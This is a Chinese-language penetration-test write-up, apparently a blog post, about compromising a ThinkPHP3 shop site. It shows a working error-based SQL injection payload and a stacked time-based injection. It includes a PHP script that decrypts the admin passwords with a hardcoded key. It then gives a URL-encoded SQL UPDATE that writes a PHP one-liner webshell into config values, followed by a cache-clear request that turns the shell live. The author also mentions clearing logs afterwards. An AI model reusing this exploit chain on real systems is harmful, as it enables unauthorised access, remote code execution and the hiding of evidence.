全程无干货,都是老知识。
起因
接到任务:
简单信息收集
源码查找
老规矩,根据url,找到源码(还是github)
子域名
共有两个子域名,ip为真实ip未加cdn。访问了两个站,发现都是一样的程序,账号密码通用,推测其中一个为备用站点。
端口探测
2358为宝塔端口
简单源码审计 && 漏洞利用
源码审计-注入
(根据源码片段应该是可以找到源码包的,有兴趣的可以本地复现)
注入点(name为可控参数):
http://www.test.com/Shop/Home/mend.html?sousuo=sousuo&name=111
报错注入
http://www.test.com/Shop/Home/mend.html?sousuo=sousuo&name=111' or updatexml(1,concat(0x23,(select version()),0x23),1)%23
堆叠注入
延时1s,响应时间为2-3s
延时3s,响应时间为7-8s
延时5s,响应时间为10-11s
(因网络问题测试不太准确,但因为延时成功仍可判断为堆叠注入。)
后台登陆
看源码是有三个后台的,通过注入得到其中一个后台管理员的账号密码,发现密码是自写加密。通过源码写出解密脚本(该后台密码可逆)
解密源码:
<?php
function think_ucenter_decrypt($data, $key)
{
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$expire = substr($data, 0, 10);
$data = substr($data, 10);
if ($expire > 0 && $expire < time()) {
return '';
}
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return base64_decode($str);
}
echo think_ucenter_decrypt("需解密内容",".O&4893h99s-pXf~F9(H4xZ@8NqsP#A3r");
?>
成功登陆后台
但是很古怪,并没有用户管理,这是不对的。
尝试登陆其他后台,发现路由被改了。
通过源码发现了log文件,并得到了修改后的后台路由(因为后面的操作,log文件被删除,这里没有截图保存。)
该后台的加密方式不可逆,暂不打算update管理密码登陆查看。
getshell
源码分析-temp文件
与数据库内容比对
这里的表为ncconfig
,那么这里的内容应该就是在nc这个后台控制的。
根据之前的经验看,thinkphp3的temp文件夹下的缓存文件,文件名是固定不变的,但是要生成这个文件的前提是需要先把这个缓存文件删除。
那么现在的思路就是:利用堆叠注入将这些字段下的value值修改为一句话木马(这里是怕后台的点不能修改数据库里的内容,因为当时看该后台是废弃后台,所以充分利用堆叠注入的优势) --> 删除该缓存文件 --> 后台任意点提交内容生成同名缓存文件达到getshell的目的
那我们现在差的就是删除缓存文件的方法
源码分析-删除缓存文件
跟进代码
ok,这个点是可利用的(当时log文件就是在runtime文件夹下,这个步骤把log文件一起删除了)
具体利用方法
- 在相应字段下插入一句话木马
update+ncconfig+set+value%3dconcat('\r\n+$a+%3d+$_POST[a]%3b$b+%3d+$_POST[b]%3b$a($b)%3b//\r\n+%3f',char(62))+where+id%3d9
- 删除缓存文件
http://www.test.com/nc.php?s=/Public/clear.html\
- 后台任意提交内容生成新的同名缓存文件getshell
getshell
结尾
后续的操作就不写了,无非就是权限控制,清除日志等后续工作。
Ps:近期和小伙伴一起在做一些靶场相关的东西,不然咱也不能总去打htb是吧?不知道公测时候会不会有大佬来捧场